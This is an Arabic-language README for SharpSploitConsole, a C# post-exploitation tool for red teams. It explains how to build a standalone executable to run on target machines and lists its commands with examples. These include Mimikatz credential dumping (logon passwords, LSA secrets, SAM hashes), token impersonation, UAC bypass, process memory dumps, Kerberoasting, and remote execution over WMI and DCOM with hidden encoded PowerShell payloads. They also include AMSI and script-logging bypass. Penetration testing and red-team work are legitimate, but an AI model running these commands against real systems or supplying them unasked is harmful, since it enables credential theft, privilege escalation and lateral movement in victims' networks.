
تطبيق وحدة تحكم بلغة C# لعمليات ما بعد الاستغلال وفرق الاختراق، يدمج SharpSploit لتنفيذ أوامر Mimikatz، وإجراء Kerberoasting، وتجاوز UAC، وسحب بيانات الاعتماد، والتحرك جانبيًا عبر WMI/DCOM.
تطبيق وحدة تحكم مصمم للتفاعل مع SharpSploti الذي أطلقه @cobbr_io > https://github.com/cobbr/SharpSploit
SharpSploit هي أداة كتبها @cobbr_io تجمع العديد من التقنيات/كود C# من مجتمع أمن المعلومات وتجمعها في DLL واحد رائع. إنها رائعة لذا تحقق منها!
SharpSploit Console هو مجرد ثنائي سريع لإثبات المفهوم لمساعدة مختبري الاختراق أو الفرق الحمراء ذوي الخبرة الأقل في C# للعب ببعض روعة SharpSploit. باتباع التعليمات أدناه، يجب أن تكون قادرًا على تضمين كل من SharpSploit.dll و System.Management.Automation.dll في ثنائي SharpSploitConsole، مما ينشئ ملف exe مستقلاً يمكنك وضعه على نظام الهدف المناسب وتشغيله عبر قشرة غير تفاعلية (مثل beacon).
يمكن تطبيق هذا المفهوم على العديد من الثنائيات C#. على سبيل المثال، يمكننا تضمين System.Management.Automation.dll في ملف NoPowershell.exe C# المفضل لدينا، مما ينشئ ثنائيًا لا يعتمد على System.Management.Automation.dll في النظام الهدف.
أخيرًا، أنا على علم بوجود آلاف الطرق لجعل هذا أفضل وأسرع وأروع وأكثر خفاءً وما إلى ذلك. لذا لا تتردد في إخباري… بطريقة لطيفة. :) كما أخطط لإضافة وحدات أخرى وتحسين الوحدات الحالية.
تواصل على:
قبل تقديم مشكلات، قد لا يتم تحديث هذه الأداة دائمًا بنشاط. أشجعك على الاقتراض والإضافة والتعديل و/أو صنع أداتك الخاصة. تذكر، كل الكود الرائع الموجود (وهو كثير) يمكن أخذه/تعديله لإنشاء أدواتك المخصصة.
ملاحظة: استخدمت Windows 10، Visual Studio 2017 - قد تختلف النتائج
قم بتنزيل أداة SharpSploit من https://github.com/cobbr/SharpSploit.git
افتح SharpSploit.sln في Visual Studio وقم بالتجميع (تأكد من التجميع للهندسة المعمارية الصحيحة) - يجب أن ترى قائمة منسدلة تحتوي على Any CPU > انقر عليها وافتح Configuration Manager > تحت platform قم بتغييرها إلى الهندسة المعمارية المطلوبة وحدد ok.
قم بتنزيل أداة SharpSploitConsole وافتح SharpSploitConsole.sln
انسخ كلاً من SharpSploit.dll و System.Management.Automation.dll الموجودين في SharpSploit/bin/x64/Debug إلى مجلد SharpSploitConsole/bin/x64/Debug
بعد ذلك سنقوم بإعداد Visual Studio لتضمين ملفات DLL الخاصة بنا في exe حتى نحصل على ثنائي واحد يمكننا تشغيله على الجهاز الهدف. سنفعل ذلك بالطريقة التالية:
في Visual Studio:
أ. Tools > NuGet Package Manager > Package Manager Console
ب. داخل وحدة التحكم قم بتشغيل:
Install-Package Costura.Fody
ج. افتح Notepad والصق الكود التالي واحفظه باسم FodyWeavers.xml داخل مجلد SharpSploitConsole الذي يحتوي على مجلدات bin، obj، properties.
<?xml version="1.0" encoding="utf-8"?>
<Weavers>
<Costura />
</Weavers>
6. داخل Visual Studio، انقر بزر الماوس الأيمن على References في الجانب الأيمن، اختر Add Reference، ثم تصفح إلى مجلد SharpSploitConsole/bin/x64/Debug حيث وضعنا ملفي DLL، حددهم وأضفهم.
ملاحظة: جميع الأوامر غير حساسة لحالة الأحرف
افتراضيًا يمكن تمرير جميع الأوامر كوسيطات سطر أوامر، سيتم تنفيذها وسيخرج البرنامج (ممتاز للقذائف البعيدة). يبدو هذا كالتالي: sharpSploitConsole.exe getSystem logonPasswords. وبدلاً من ذلك، إذا كنت ترغب في استخدام وضع وحدة التحكم التفاعلي، يمكنك استخدام الأمر interact للحصول على قشرة تفاعلية زائفة.
بدء وضع وحدة التحكم التفاعلي:
Interact
ميميكاتز كل شيء (لا يشغل DCSync) - يتطلب صلاحيات مدير أو نظام:
Mimi-All
تشغيل أمر ميميكاتز محدد من اختيارك - يتطلب صلاحيات مدير أو نظام:
Mimi-Command privilege::debug sekurlsa::logonPasswords
تشغيل أمر ميميكاتز privilege::debug sekurlsa::logonPasswords - يتطلب صلاحيات مدير أو نظام:
logonPasswords
تشغيل أمر ميميكاتز لاسترداد تجزئات بيانات الاعتماد المخزنة مؤقتًا في المجال من السجل - يتطلب صلاحيات مدير أو نظام:
LsaCache
تشغيل أمر ميميكاتز لاسترداد أسرار LSA المخزنة في السجل - يتطلب صلاحيات مدير أو نظام:
LsaSecrets
استرداد تجزئات كلمات المرور من قاعدة بيانات SAM - يتطلب صلاحيات مدير أو نظام:
SamDump
استرداد بيانات اعتماد Wdigest من السجل - يتطلب صلاحيات مدير أو نظام:
Wdigest
استرداد المستخدم الحالي:
whoami
Username
انتحال هوية مستخدم النظام - يتطلب صلاحيات مدير:
GetSystem
انتحال هوية مستخدم النظام - انتحال رمز عملية محددة، يتطلب pid - الأمر يتطلب صلاحيات مدير:
Impersonate 2918
تجاوز UAC - يتطلب ثنائي | أمر | مسار الثنائي - يتطلب صلاحيات مدير:
BypassUAC cmd.exe ipconfig C:\Windows\System32\
BypassUAC cmd.exe "" C:\Windows\System32\
إنهاء انتحال أي رمز، والعودة إلى الرمز الأولي المرتبط بالعملية الحالية:
RevertToSelf
استرداد دليل العمل الحالي:
CurrentDirectory
استرداد قائمة الدليل الحالي:
DirectoryListing
تغيير الدليل الحالي بإضافة سلسلة نصية محددة إلى دليل العمل الحالي:
ChangeDirectory SomeFolder
استرداد اسم المضيف:
Hostname
استرداد قائمة العمليات الجارية:
ProcessList
إنشاء minidump لذاكرة عملية جارية، يتطلب PID | موقع الإخراج | اسم الإخراج - يتطلب صلاحيات مدير:
ProcDump 2198 C:\Users\Username\Desktop memorydump.dmp
استرداد قيمة مسار السجل، يتطلب وسيطة المسار الكامل:
ReadRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\BuildNumber
الكتابة إلى السجل، يتطلب وسيطة المسار الكامل ووسيطة القيمة:
WriteRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\RemoteAccessEnabled 1
استرداد مستخدمي مجموعة محلية عن بُعد، يتطلب اسم كمبيوتر | اسم مجموعة | اسم مستخدم | كلمة مرور:
NetLocalGroupMembers computerName Administrators domain\username P@55w0rd!
NetLocalGroupMembers 192.168.1.20 Administrators .\username P@55w0rd!
استرداد المجموعات المحلية عن بُعد، يتطلب اسم كمبيوتر | اسم مستخدم | كلمة مرور:
NetLocalGroups computerName domain\username P@55w0rd!
NetLocalGroups 192.168.1.20 .\username P@55w0rd!
استرداد المستخدمين المسجلين حاليًا عن بُعد، يتطلب اسم كمبيوتر | اسم مستخدم | كلمة مرور:
NetLoggedOnUsers computerName domain\username P@55w0rd!
NetLoggedOnUsers 192.168.1.20 .\username P@55w0rd!
استرداد جلسات المستخدم عن بُعد، يتطلب اسم كمبيوتر | اسم مستخدم | كلمة مرور:
NetSessions computerName domain\username P@55w0rd!
NetSessions 192.168.1.20 .\username P@55w0rd!
اختبار اتصال الأنظمة، يتطلب أسماء كمبيوتر:
Ping computer1 computer2 computer3 computer4
مسح المنافذ على الأنظمة، يتطلب اسم كمبيوتر | منافذ:
PortScan computer1 80 443 445 22 23
الحصول على مستخدمي المجال، يحصل على كائنات المستخدم المحددة (أو كلها) في المجال المستهدف، بشكل افتراضي سيستخدم سياق المستخدم الحالي. وسيطات اختيارية: -username -password -domain -server -searchbase -searchstring -target:
GetDomainUsers
الحصول على مجموعات المجال، يحصل على كائنات المجموعة المحددة (أو كلها) في المجال المستهدف، بشكل افتراضي سيستخدم سياق المستخدم الحالي. وسيطات اختيارية: -username -password -domain -server -searchbase -searchstring -target:
GetDomainGroups
GetDomainGroups -target "Domain Admins"
الحصول على أجهزة كمبيوتر المجال، يحصل على كائنات الكمبيوتر المحددة (أو كلها) في المجال المستهدف، بشكل افتراضي سيستخدم سياق المستخدم الحالي. وسيطات اختيارية: -username -password -domain -server -searchbase -searchstring -target:
GetDomainComputers
تنفيذ Kerberoasting، ينفذ هجوم kerberoasting ضد كائنات المستخدم المستهدفة (أو كلها) في المجال المستهدف، بشكل افتراضي سيستخدم سياق المستخدم الحالي. وسيطات اختيارية: -username -password -domain -server -searchbase -searchstring -target
Kerberoast
Kerberoast -username bob -password Password1 -domain test.corp -server 192.168.1.10 -target sqlService
تشغيل أمر عن بُعد عبر WMI، يتطلب اسم كمبيوتر | اسم مستخدم | كلمة مرور | أمر - يتطلب صلاحيات مدير:
WMI computer1 domain\username P@55w0rd! <entire powershell empire payload>
WMI computer1 .\username P@55w0rd! powershell -noP -sta -w 1 -enc <Base64>
تشغيل أمر عن بُعد عبر DCOM، يتطلب اسم كمبيوتر | أمر | دليل | بارامترات - يتطلب صلاحيات مدير:
DCOM computer1 cmd.exe c:\Windows\System32 powershell -noP -sta -w 1 -enc <Base64>
تشغيل أمر قذيفة:
Shell ipconfig /all
تشغيل أمر PowerShell مع محاولة تجاوز AMSI، تسجيل scriptBlock، وتسجيل الوحدة:
Powershell -noP -sta -w 1 -enc <Base64>